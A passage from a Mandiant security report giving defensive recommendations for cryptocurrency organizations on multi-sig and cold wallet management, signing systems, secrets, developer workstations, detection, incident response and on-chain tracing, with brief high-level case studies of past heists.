• Configure signature requirements: Enforce a minimum requirement of at least four signatures to authorize any send transaction. These signatures should originate from clear-signing capable hardware wallet devices of multiple vendors assigned to and in the possession of different trusted employees at the organization. A strict process around signing transactions should be implemented (see Management and Protection of Cold Wallets and Their Transactions). Additionally, ensure the passphrases or recovery seeds for these devices are stored in secure geographically dispersed locations to mitigate the risk of a single point of failure or physical compromise.
• Secure private keys and contract upgrades: As with standard wallets, private keys for smart contracts that allow the upgrading of contract code or implementation contracts should be secured on cold devices. Multiple keys or signatures should be configured for any contract upgrade.
• Distribute assets across multiple wallets: Distribute assets across multiple multi-sig wallets with multiple cold signing wallets to a level where loss of assets from one multi-sig wallet would not be significant.
• Enforce a strict multi-sig signing process: Implement and enforce a multi-sig signing process that requires signers to be in geographically dispersed locations with different internet connections, and enforce the use of signing systems only for any multi-sig transaction. Signing systems should be audited to confirm they meet a minimum set of security requirements prior to being used for signing. Signers must also verify the transaction hashes for any signed transaction, on-device if using cold wallets, and verify raw transaction data in a third-party system prior to signing.
• Scrutinize transactions where signing errors occur: Wherever signing on a multi-sig transaction fails, implement a process to scrutinize the transaction and communicate the concern to all signers to prevent further signing activity. In cases of multi-sig compromise, Mandiant has frequently observed victims reporting multiple errors in the signing process before malicious transactions are successfully approved.

Case Study: Abusing Smart Contracts

The March 2023 Euler Finance exploit, resulting in a $200 million USD loss, exposed the dangers of flash loan manipulation within DeFi protocols.  Attackers exploited vulnerabilities in Euler's code to manipulate the protocol's lending and collateralization mechanisms, allowing them to obtain and drain massive amounts of cryptocurrency through a series of flash loans. This incident highlighted the need for secure coding practices and thorough testing, especially when dealing with complex financial instruments like flash loans. It highlighted the importance of anticipating and mitigating potential attack vectors, including those that exploit the unique characteristics of DeFi protocols and smart contracts.

Management and Protection of Cold Wallets and Their Transactions

The standard practice for cryptocurrency organizations is to store most of their assets in multi-sig smart wallets that require cold wallets for signing send transactions. Hot wallets are topped up from these multi-sig wallets as needed when they are near depletion. Since the majority of cryptocurrency organizations’ assets are stored on these cold wallets, their security is important.

Cold Wallet Security

Cold wallets may hold private keys for cryptocurrency wallets directly or may be used for signing transactions in a multi-sig smart wallet setup. Security of these wallets is therefore critical in preventing unauthorized transactions or contract upgrades.

• Use cold wallet devices from multiple vendors: Use cold signing wallet devices from multiple vendors to mitigate risks associated with vulnerabilities in specific vendor platforms or hardware.
• Use cold wallet devices that support clear signing: Ensure all signing devices support clear signing of transactions, allowing signers to accurately match the transaction hash and payload to the intended transaction. Blind signing introduces significant risks of transaction data interception between IT systems and the signing device.
• Store passphrases and recovery codes securely offline: Ensure that hard copies of passphrases or backup codes for wallets are stored securely. In multi-sig wallets, these should be stored in separate secure geographical locations.

Dedicated Signing Systems

Mandiant recommends using dedicated, hardened signing systems for transfer or contract update transactions on multi-sig smart wallets.

• Enforce dedicated use: The signing systems should be solely used for signing transactions and no other business activities.
• Apply security updates frequently: The signing systems and any wallet software must be kept up-to-date with security patches. Patches should be applied much more frequently than for other systems. Verified updates should be checked and applied before signing as part of the signing process.
• Use separate internet connections: The signing systems should connect to the internet from separate internet lines (mobile hotspots or locations), not through corporate exit nodes.
• Limit execution of applications: The signing systems should have extremely strict controls around program execution. Typically, only a managed web browser, security software, hardware wallet software, and update software should be allowed.
• Limit network traffic: Network traffic should only be allowed to specified destination addresses in line with the individual signing process, such as any cryptocurrency custodian platforms and their dependent systems or only to self-managed infrastructure. Updates may be fetched from internal staging servers or introduced through removable media after verification.
• Verify applications: Signers should use the latest verified version of official hardware vendor software. This should generally be used in place of web USB solutions to mitigate the risk of compromise of third-party libraries, CDNs, or the platforms themselves.

Case Study: Risks of Blind Signing

In one case Mandiant investigated, a cryptocurrency exchange inadvertently signed a malicious transaction due to their hardware wallet devices not supporting clear-signing. The signers had no way to verify the transaction, which led to significant financial loss.

General Infrastructure Security

Cryptocurrency organizations, like any other technology-dependent organization, should adhere to best practices in enterprise security. Organizations in this industry, as in the wider financial services industry, are expected to have a higher level of capability or maturity than other industries due to the specific risks and targeting they face.

• Manage third-party technologies: The security of technologies and dependencies of custodian and web platforms are of particular importance. The security of the upstream suppliers of these technologies has a direct impact on the security of the organization using them. It is critical for cryptocurrency organizations to effectively manage, monitor, and enforce security within their supply chain. Where third-party technologies are implemented, regular audits of their security should be conducted to verify the integrity of any subsystems (scripts, libraries) against known-good distributions. For web services, the content hosted on third-party servers or provided through content delivery networks should also be regularly audited.
• Manage vulnerabilities: Regularly perform vulnerability scans against deployed technologies to ensure public vulnerabilities are identified, prioritized, and mitigated effectively. Implementing a bug bounty program that rewards reporters is also advisable.
• Manage misconfigurations: Implement an Attack Surface Management solution to continually audit the configuration of external infrastructure, and compare the results to change management records.
• Validate security controls: Implement a continuous security validation program to verify the effectiveness of prevention and detection controls as infrastructure changes.
• Manage identities and access: Implement hardware-token multifactor authentication and manage permissions and identities across all production and development environments.
• Manage remote access: Where remote access to environments is required, ensure that authentication is hardened and access is restricted to only managed and hardened devices through host integrity checking and device certificate-based authentication.
• Provide employee awareness training: All employees of cryptocurrency organizations should be aware of the significant security threats their organization faces. Signers and developers should have an even greater understanding. Regular training or communications on the threats and how to manage them should be conducted, especially related to common tactics attackers use to compromise victims, including unsolicited job offers or freelance development work.
• Conduct regular targeted threat hunting activities: Threat hunting can identify evidence of compromise that has been missed by existing detection capability, identify gaps in visibility, and assist in the development of new use cases for detection engineering. Mandiant generally recommends engaging a third party for such activities to bring new hunting hypotheses and intelligence to those already proposed by internal security teams.

Secrets Management

Effective and secure management of secrets within cryptocurrency organizations is critical, even more so than for organizations in other industries. The theft of secrets used to secure wallets in particular, directly or indirectly, can lead to immediate and significant financial loss.

• Rotate secrets: Rotate secrets related to critical wallets and wallet infrastructure on a frequent basis, ideally monthly. This reduction of lifespan in secrets limits the potential impact of an attacker gaining access to them. Frequent secret rotation can introduce its own set of challenges, including the secure distribution and communication of new secrets across systems and personnel. Implementing a robust privileged access management (PAM) or secrets management system can make this easier. A PAM solution can streamline and secure the process of secret rotation, reducing the risk of exposure or compromise.
• Manage secret storage: Organizations should consider implementing an enterprise password or secrets storage and management solution with enhanced monitoring and regular auditing. Privileged secrets should never be stored locally on user systems. Regular auditing of systems used by privileged users, such as developers or signers, should be performed to identify any improperly stored secrets.

Securing Developer Workstations

Developers and their workstations are particularly attractive targets for cyberattacks, especially when they interact with cryptocurrency infrastructure. Mandiant has frequently observed initial access in cryptocurrency organization intrusions being through developer workstations. 

• Restrict direct access: Minimize or eliminate direct access to production cryptocurrency infrastructure from developer workstations. Instead, implement secure deployment pipelines and staging environments for testing and code integration.
• Manage secrets: Employ robust secret management solutions to protect sensitive keys and credentials. Avoid storing secrets directly on developer workstations or within code repositories.
• Enforce principles of least privilege: Enforce the principle of least privilege, granting developers only the minimum necessary access required to perform their tasks.
• Regularly conduct security audits: Conduct regular security audits of developer workstations and their access privileges to identify and address potential vulnerabilities.
• Conduct security awareness training: Provide comprehensive security awareness training to developers, emphasizing the importance of protecting sensitive information and recognizing potential threats.
• Enforce and manage security software: Endpoint detection and response tooling complements built-in security mechanisms and anti-virus to alert on threats quicker. Detections should be engineered for any anomalous or unauthorized behavior consistent with the end user's job role.

Case Studies: Targeting Developers and Their Workstations

Direct access to production cryptocurrency infrastructure from developer workstations is especially risky. Mandiant has observed threat actors leveraging footholds on developer systems to interact with such infrastructure:

• Targeted phishing via fake job opportunities: State-sponsored threat actors leveraged fake job postings on LinkedIn to deliver malware to developers and their highly privileged systems, leading to privileged access to cryptocurrency infrastructure.
• AWS CLI abuse: Attackers have used the AWS CLI to interact with and extract secrets from wallet infrastructure hosted in Elastic Kubernetes Service (EKS).
• API key compromise: In some cases, attackers leveraged their foothold to make API requests to the cryptocurrency custodian platform using keys stored within scripts and API testing applications.

Protecting Customers

The security of a cryptocurrency platform's customers is an important part of a comprehensive security strategy. In any business-to-consumer organization, some level of customer account compromise is inevitable. However, cryptocurrency platforms can implement targeted controls to limit the chance of success and level of impact for such breaches.

• Enforce multifactor authentication for all users: Enforce strong multifactor authentication, avoiding SMS-based tokens due to their vulnerability to SIM swapping attacks. Consider offering hardware-based tokens or app-based authenticators for enhanced security.
• Provide users with tools to manage their own security: Empower users with greater control over their security by providing features like hardware multifactor authentication support, session management (including termination), login notifications, and login history visibility. This not only fosters user confidence, but also reduces the burden on the organization when investigating individual account compromises.
• Enforce withdrawal controls: Implement withdrawal limits, delays, or cool-down periods for large transactions, coupled with secondary verification or notifications. These measures can significantly restrict the amount of assets an attacker can transfer if an account is compromised.
• Back all assets 1-to-1: Organizations holding user assets should maintain their full value in cold storage completely segregated from the core infrastructure. This ensures that in the event of a significant cryptocurrency theft caused by the organization, users can be reimbursed. Many financial regulators already mandate this practice for cryptocurrency exchanges.
• Provide user awareness communications: It is the responsibility of all cryptocurrency organizations to educate their user base about threats to their assets. Regular communication and awareness campaigns can empower users to protect themselves and recognize potential threats before security incidents occur.

Detection Maintaining Visibility and Engineering Detections to Catch Attackers Early

Most organizations can benefit from security monitoring. By monitoring activity across host, network, and application data sources, organizations can leverage threat intelligence and identify suspicious activities related to generic IT behavior and cryptocurrency transactions, wallet interactions, and privileged access. Effective security monitoring allows organizations to detect and respond to threats earlier in the Attack Lifecycle and ultimately limit their impact.

Monitoring User Transactions and Activity

For cryptocurrency exchanges in particular, monitoring transactions among its user base can provide insight into fraudulent activities in the early stages of a heist. Transaction monitoring should be implemented from logs generated by the cryptocurrency applications or the custodian platforms if they are used. From these log sources, detections should be engineered relative to normal business processes and customer activity.

• High-volume or -velocity transactions: Sudden surges or unusually high frequencies of withdrawals might indicate individual user accounts have been compromised or that an attacker is attempting to trigger hot wallet replenishment from cold storage. If user account compromise is suspected, organizations should investigate commonalities among affected users, particularly their platform access points, to implement targeted blocks, heightened monitoring, and trigger account credential resets. If potential attacker-induced top-up activity is detected, organizations should exercise extreme caution before initiating any replenishment procedures from cold wallets.
• Unusual transaction patterns: Deposits and withdrawals involving unusual or unexpected wallets should be flagged and scrutinized. A wallet might be defined as unusual if it is linked to previous malicious behavior internally or from threat intelligence sources. Transaction behavior may also be monitored, such as typical times of day for each user and normalized frequencies of transactions. Advanced user behavior profiles may be built around this data and engineered into detections, such as identifying which users rarely make withdrawals and which users trade frequently. These detections should be integrated with transaction delay or cool-down controls.
• Anomalous behavior: Detect deviations from typical user behavior, such as login attempts from unusual IP addresses or geolocations. Wherever possible, platform application security logs should be linked with transaction logs to provide context into user cryptocurrency activity.

Monitoring Internal User and Wallet Interaction

Monitoring internal user activity within a cryptocurrency organization is arguably more important than monitoring customer activity. Effective internal monitoring can identify compromised internal accounts and secrets early on and significantly reduce the impact of a compromise.

• Secrets usage: Monitor and audit the use of API keys and other credentials when interacting with internal systems, particularly custodian platforms and wallet infrastructure. Use context from secrets management platforms or records to identify suspicious activities, such as unusual source systems, failed access attempts, or unusual API calls (especially those that might indicate reconnaissance, for example, checking policies within custodian solutions).
• User activity: Monitor the specific actions performed with each request against wallet infrastructure systems. This includes monitoring the creation, modification, updating, or deletion of information or configurations. Attackers typically conduct internal reconnaissance before executing a heist. This involves actions like listing wallets, retrieving balances, or checking configured limits and allow lists through custodian platforms. Monitoring these activities provides valuable opportunities for early detection.
• Access to knowledge and code repositories: Implement detections for unusual access to knowledge bases and code repositories., for example, high-velocity or high-volume requests, which might indicate bulk downloading, or searches for keywords such as "passwords", "keys", or "infrastructure." Mandiant has frequently observed threat actors performing internal reconnaissance through knowledge and code repositories prior to performing a heist.

Heightened Monitoring on Developer and Signing Systems

No matter how many security controls are implemented on developer and signing systems, there is still a chance they can be compromised. For this reason, heightened monitoring should be configured on these and other sensitive systems, including any that interact with wallet infrastructure.

• Monitor host-based activity: Monitor process creation and software installations to promptly detect any compromise and verify the effectiveness of preventative security controls. For signing systems, deploy detections to alert on any software not associated with approved hardware wallet vendors or managed web browsers.
• Monitor network activity: Engineer network detections tailored to the permitted use cases of each system. On signing systems, implement strict alerts for any network calls to destinations beyond those necessary for software updates and transaction signing, even if these should be blocked at the network level.
• Perform threat hunting: Conduct regular threat hunting and auditing on developer and signing systems to ensure secrets are not stored on disk and that security controls remain effective.

Response Taking Action to Thoroughly Investigate and Remediate Compromise

When compromise is detected in a cryptocurrency organization, it is essential to tactically harden the environment, investigate to identify root cause, and perform remediation swiftly once the attack path is understood.

Tactical Hardening and Positioning

When compromise is identified within any part of a cryptocurrency organization, time is of the essence to harden the environment as much as possible and configure security technologies to give organizations the best chance of thoroughly investigating, effectively remediating, and securing the environment going forward.

• Enhance logging: If the attacker is still active within the environment, immediately increase logging verbosity for critical areas such as secret use against custodian platforms, wallet infrastructure, and identity providers. This enhanced visibility helps understand attacker actions and enables real-time tactical responses.
• Isolate wallet infrastructure: At the first sign of access or malicious attempted access to wallet infrastructure, including hot wallets or secrets, temporarily isolate the affected systems or custodian platforms. This containment measure prevents further attacker access and potential asset loss. Such actions should be linked to agreed processes for customer or stakeholder communication, if necessary.
• Implement restrictions on withdrawals: Where an attacker may be active or have opportunities to complete their mission, implement cool-down periods or other restrictions on withdrawals. This should include limiting withdrawals to new addresses or introducing limits on the volume or velocity of withdrawals.
• Rotate wallet keys: If there are any suspicions that the attacker possesses wallet keys or passphrases, rotate them immediately or transfer funds to a new, secure wallet as quickly as possible. For multi-sig wallets, rotate all signers to invalidate any compromised keys, and issue new hardware devices if necessary.
• Isolate compromised systems: Immediately disconnect any systems exhibiting signs of malware or attacker access, especially those involved in signing transactions or interacting with wallet infrastructure services. Preserve these systems for forensic investigation.
• Carefully plan remediation: Generally, avoid widespread remediation actions like enterprise-wide password resets during the initial response phase. Without a complete understanding of the attacker's access, such actions could alert them, prompting them to accelerate their malicious activities and target accessible wallets. While caution is advised against widespread remediation actions during the initial response phase of a typical compromise, the unique nature of cryptocurrency heists demands a more nuanced approach. Unlike other breaches where organizations might be able to monitor attacker activity, the theft of a single file or key in a cryptocurrency environment can lead to significant financial loss, so a different approach may be needed. 
• Engage incident responders: Organizations should engage an incident response service provider immediately to begin scoping and investigating the intrusion and advising on the best tactical options to take at each phase of the investigation.

Investigating

Investigation of compromises within cryptocurrency organizations varies significantly between intrusion types, initial information identified from detection, and infrastructure architecture. However, in the majority of cases Mandiant has investigated, similar tactics were observed, which can provide a starting point for investigators.

• Malware on developer or signing systems: Analyze systems that interact with wallet or custodian infrastructure for signs of malware, including developer and signing systems. Given their prevalence in cryptocurrency organizations, macOS systems are particularly attractive targets for cryptocurrency threat actors. Both built-in and third-party security mechanism logs and artifacts should be carefully reviewed.
• Initial access by phishing: Investigate opportunities threat actors may have had to introduce malware or steal credentials in the environment. Mandiant frequently observes threat actors targeting developers with deceptive job offers containing malicious coding or debugging challenges, most frequently delivered via Slack, Telegram, or LinkedIn.
• Malicious webpages: Analyze web history on hosts and the network perimeter to uncover any visits to malicious websites, especially by signers in the case of a multi-sig heist. Be vigilant for websites mimicking custodian platforms or wallet management applications that trick users into connecting hardware wallets and inadvertently signing malicious transactions.
• Malicious transaction requests: Review available logs that may have recorded interactions with wallet infrastructure, especially send transactions. These are typically available within the custodian platform, if deployed, or in API gateways.

On-Chain Analysis

Investigation can also be performed on the blockchain and can provide valuable information for attribution of a threat actor and opportunities for recovery of funds. 

• Follow the money: Trace the movement of funds through the blockchain to identify the origin, destination, and intermediaries involved in transactions relating to stolen funds.
• Identify key entities: Analyze transaction patterns and metadata to uncover addresses and entities associated with the movement of funds.
• Use blockchain explorers: Leverage blockchain explorers to gather information on addresses, transactions, and associated metadata.
• Cluster analysis: Group addresses controlled by the same entity based on transaction patterns and behaviors.
• Consult with experts: Engage with blockchain analytics experts or law enforcement agencies for advanced tracing and identification techniques.
• On-chain adversary tactics, techniques, and procedures (TTPs): TTPs also apply post-intrusion, where an adversary has developed their own methodology to obscure the money flow and launder the funds, for example, using specific tokens such as Monero (XMR), which is a cryptocurrency and blockchain with enhanced privacy features, or using obfuscation protocols such as mixers like Tornado Cash.

Remediating and Moving Forward

Effective remediation after a thorough investigation is important in order to secure the infrastructure going forward. The precise steps an organization takes will depend on the specific architecture and the attacker's tactics, but several key actions are generally recommended by Mandiant.

• Rotate all secrets: As in tactical hardening, reset all wallet secrets or move funds to newly created, secure wallets. Implement enterprise-wide password resets, revoke compromised certificates, and reset API keys for custodian platforms and any access points to wallet infrastructure.
• Remove footholds: Identify and eliminate any access points the attacker may still have in the environment. If malware was deployed, rebuild affected systems from known-good configurations to ensure a clean environment.
• Implement system hardening: Apply all preventive measures detailed in Prevention to enhance the overall security posture and make the environment more resistant to future attacks.
• Implement enhanced security monitoring: Implement enhanced security monitoring tailored to the specific indicators of compromise and attacker methodologies identified during the investigation. This will provide a way to verify that remedial actions have been effective.
• Plan for effective remediation: Organizations must strategically time their remedial actions, ensuring they align with the investigation's findings. Action should be initiated when sufficient knowledge about the attacker and their activities is gained and sufficient monitoring is in place to ensure the effectiveness of these actions and provide timely alerts if any gaps remain.

Conclusion

Cryptocurrency organizations operate in a challenging threat landscape where the risk of immediate and substantial financial loss is high. The convergence of high-value digital assets, complex and rapidly evolving technologies, and the pressures of a rapidly evolving market, creates an environment where organizations should expect to be targeted. The recommendations in Securing Cryptocurrency Organizations provide a starting point for bolstering defenses, however security is not a point-in-time achievement, and organizations should aim for continuous improvement.

Mandiant’s recommendations highlight the importance of a multi-faceted enterprise security approach for every size of cryptocurrency organization. This includes the secure management of wallet infrastructure, robust access controls, and securing systems which interact with infrastructure, such as developer and signing workstations. Mandiant has also emphasized the importance of proactive threat detection to identify malicious activity earlier within wallet infrastructure, wider platform infrastructure, and on employee workstations. Finally, organizations should be prepared to respond to an intrusion with suitable data available to support an investigation, and appropriate containment and hardening controls to limit the impact.

The task of securing a cryptocurrency organization is complex. By embracing a culture of proactive security, continuous improvement, and implementing the recommendations in Securing Cryptocurrency Organizations as a baseline, Mandiant hopes that the number of successful intrusions decreases across the industry.

Call to Action for Security Leaders

Security leaders in cryptocurrency organizations should take these steps to make the most of Securing Cryptocurrency Organizations:

• Conduct a comprehensive security assessment which benchmarks your current security posture against industry best practices and the recommendations provided in Securing Cryptocurrency Organizations. Identify gaps in your controls and prioritize remediation efforts through risk analysis.

• Develop and implement a security roadmap based on the assessment. Focus on technical and strategic improvements with clear timelines and resource allocations across prevention, detection, and response capabilities.

• Strive to be the most trusted organization within your industry by fostering a security-conscious culture. Empower your organization to see security as a shared responsibility supported by your investment.

The future of cryptocurrency organizations depends on the security and trust within them. By proactively addressing the challenges and implementing effective security controls, cryptocurrency organizations can safeguard their assets, protect their customers, and contribute to a more secure and resilient industry.

Mandiant provides cryptocurrency organizations with a range of services including security assessments, compromise assessments, threat hunts, security monitoring, threat intelligence, and incident response. To learn more about our experience and how we can help, get in touch.

Acknowledgement

Special thanks to the reviewers: Adrian Hernandez, Robert Wallace, Joseph Dobson, Mohamed El-Banna, and Jigisha Patel.